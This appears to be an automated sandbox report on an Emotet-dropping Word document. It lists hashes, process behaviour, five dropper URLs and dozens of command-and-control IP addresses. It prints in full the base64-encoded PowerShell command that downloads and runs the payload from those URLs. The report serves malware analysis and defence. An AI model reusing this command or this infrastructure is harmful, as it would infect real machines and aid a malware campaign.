Analysis
- max time kernel
145s - max time network
142s - platform
windows10_x64 - resource
win10v200722 - submitted
31/07/2020, 07:23
Static task
static1
Behavioral task
behavioral1
Sample
LF3294283294PC.doc
Resource
win7
General
- Target LF3294283294PC.doc
- Size 172KB
- Sample200731-bzhtmfz7nx
- SHA256 bdd27214237a8d3cb0df1c5a91967fb3d767427fe0eea2f8cfcb62357eb7490a
- MD5 ca01982332b4ab46002ea60ab3bc5dcc
- SHA1 4318c9f988c9c6f3e62c78c1962b503e2bf9192b
- SHA512 ade81fa186e1684ca63b8de1cdd234250ff5846bb8fdc76053095a244cab57ad98e820b09f863ce235ea9baea6670f98bc2a47f6229621a65d38bb26385e8f5b
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://amventas.com/public/iu1c_vtucu_ruec/
-
exe.dropper
http://www.cotrafina.com/wp-content/xrmq_7ug_ttv/
-
exe.dropper
http://webappbr.com/wp-admin/ha_s5_3wf/
-
exe.dropper
http://whatsappsenderpro.com/Videos/4wl_0q0m_g61c3/
-
exe.dropper
http://bartboutens.nl/wp-admin/no77z_k3_azs/
Extracted
-
emotet
-
47.146.117.214:80
-
62.108.54.22:8080
-
212.51.142.238:8080
-
190.160.53.126:80
-
87.106.136.232:8080
-
74.208.45.104:8080
-
121.124.124.40:7080
-
124.45.106.173:443
-
76.27.179.47:80
-
210.165.156.91:80
-
61.19.246.238:443
-
81.2.235.111:8080
-
169.239.182.217:8080
-
181.230.116.163:80
-
139.130.242.43:80
-
46.105.131.87:80
-
139.59.60.244:8080
-
222.214.218.37:4143
-
41.60.200.34:80
-
200.55.243.138:8080
-
24.234.133.205:80
-
190.55.181.54:443
-
189.212.199.126:443
-
93.156.165.186:80
-
62.138.26.28:8080
-
62.75.141.82:80
-
176.111.60.55:8080
-
168.235.67.138:7080
-
109.117.53.230:443
-
5.196.74.210:8080
-
162.154.38.103:80
-
152.168.248.128:443
-
83.110.223.58:443
-
95.9.185.228:443
-
180.92.239.110:8080
-
209.141.54.221:8080
-
37.187.72.193:8080
-
113.160.130.116:8443
-
85.59.136.180:8080
-
79.98.24.39:8080
-
91.231.166.124:8080
-
185.94.252.104:443
-
108.48.41.69:80
-
95.179.229.244:8080
-
71.208.216.10:80
-
93.51.50.171:8080
-
78.24.219.147:8080
-
24.179.13.119:80
-
200.41.121.90:80
-
153.126.210.205:7080
-
104.236.246.93:8080
-
46.105.131.79:8080
-
201.173.217.124:443
-
50.116.86.205:8080
-
116.203.32.252:8080
-
157.245.99.39:8080
-
109.74.5.95:8080
-
203.153.216.189:7080
-
87.106.139.101:8080
-
137.59.187.107:8080
-
110.145.77.103:80
-
47.153.182.47:80
-
95.213.236.64:8080
-
24.43.99.75:80
-
209.182.216.177:443
-
173.91.22.41:80
-
5.39.91.110:7080
-
75.139.38.211:80
-
91.211.88.52:7080
-
37.139.21.175:8080
-
162.241.92.219:8080
-
104.131.11.150:443
-
70.167.215.250:8080
-
104.131.44.150:8080
-
103.86.49.11:8080
-
65.111.120.223:80
Signatures
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3948 WINWORD.EXE 3948 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 408 580 powersheLL.exe 66 - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 408 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 408 powersheLL.exe 408 powersheLL.exe 408 powersheLL.exe 3904 Windows.Management.Workplace.exe 3904 Windows.Management.Workplace.exe 3904 Windows.Management.Workplace.exe 3904 Windows.Management.Workplace.exe - Executes dropped EXE 2 IoCs
pid Process 3116 684.exe 3904 Windows.Management.Workplace.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\certcli\Windows.Management.Workplace.exe 684.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3116 684.exe 3904 Windows.Management.Workplace.exe - Blacklisted process makes network request 3 IoCs
flow pid Process 28 408 powersheLL.exe 30 408 powersheLL.exe 32 408 powersheLL.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3116 wrote to memory of 3904 3116 684.exe 78 PID 3116 wrote to memory of 3904 3116 684.exe 78 PID 3116 wrote to memory of 3904 3116 684.exe 78 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3116-10-0x00000000005E0000-0x00000000005EC000-memory.dmp emotet behavioral2/memory/3116-10-0x00000000005E0000-0x00000000005EC000-memory.dmp emotet behavioral2/memory/3904-13-0x00000000004E0000-0x00000000004EC000-memory.dmp emotet behavioral2/memory/3904-13-0x00000000004E0000-0x00000000004EC000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\LF3294283294PC.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
PID:3948
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEYATABXAEoAUgBjAGYAZAAgAD0AIAAnADYAOAA0ACcAOwAkAFgAWQBPAFgASABtAG8AbwA9ACcARABNAFQAQgBYAHkAYwBtACcAOwAkAFkARwBDAEcAQgB6AG4AbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBMAFcASgBSAGMAZgBkACsAJwAuAGUAeABlACcAOwAkAEsAUgBVAEgARgByAHMAbAA9ACcAVwBBAE4AVgBNAGsAZgBmACcAOwAkAEsAVQBBAEoARQBtAGQAeQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQARQBaAE4ASwBWAGYAdABhAD0AJwBoAHQAdABwADoALwAvAGEAbQB2AGUAbgB0AGEAcwAuAGMAbwBtAC8AcAB1AGIAbABpAGMALwBpAHUAMQBjAF8AdgB0AHUAYwB1AF8AcgB1AGUAYwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGMAbwB0AHIAYQBmAGkAbgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeAByAG0AcQBfADcAdQBnAF8AdAB0AHYALwAqAGgAdAB0AHAAOgAvAC8AdwBlAGIAYQBwAHAAYgByAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoAGEAXwBzADUAXwAzAHcAZgAvACoAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AHMAYQBwAHAAcwBlAG4AZABlAHIAcAByAG8ALgBjAG8AbQAvAFYAaQBkAGUAbwBzAC8ANAB3AGwAXwAwAHEAMABtAF8AZwA2ADEAYwAzAC8AKgBoAHQAdABwADoALwAvAGIAYQByAHQAYgBvAHUAdABlAG4AcwAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAG4AbwA3ADcAegBfAGsAMwBfAGEAegBzAC8AJwAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEwASgBCAEIAdQBxAHMAPQAnAEIAQwBWAEwASQB3AGcAdQAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBEAFYARwBCAHIAegB2ACAAaQBuACAAJABFAFoATgBLAFYAZgB0AGEAKQB7AHQAcgB5AHsAJABLAFUAQQBKAEUAbQBkAHkALgAiAEQAbwB3AGAATgBMAGAATwBBAGQAZgBpAGAATABlACIAKAAkAE4ARABWAEcAQgByAHoAdgAsACAAJABZAEcAQwBHAEIAegBuAG8AKQA7ACQARgBRAFQAVwBGAHYAbQByAD0AJwBVAEgAQQBKAFYAcwBkAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABZAEcAQwBHAEIAegBuAG8AKQAuACIATABlAE4AYABHAFQAaAAiACAALQBnAGUAIAAyADAAOAA5ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AEUAIgAoACQAWQBHAEMARwBCAHoAbgBvACkAOwAkAEkAUQBBAFEATgB2AHEAagA9ACcATABTAFIATwBSAGoAYQBvACcAOwBiAHIAZQBhAGsAOwAkAEwARwBOAFAASgBmAHcAawA9ACcAUwBHAEMASABOAHYAaQBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAWgBGAEIATwBtAGgAZgA9ACcAQwBTAEkAWgBWAGQAYgBpACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:408
-
C:\Users\Admin\684.exeC:\Users\Admin\684.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\SysWOW64\certcli\Windows.Management.Workplace.exe"C:\Windows\SysWOW64\certcli\Windows.Management.Workplace.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3904
-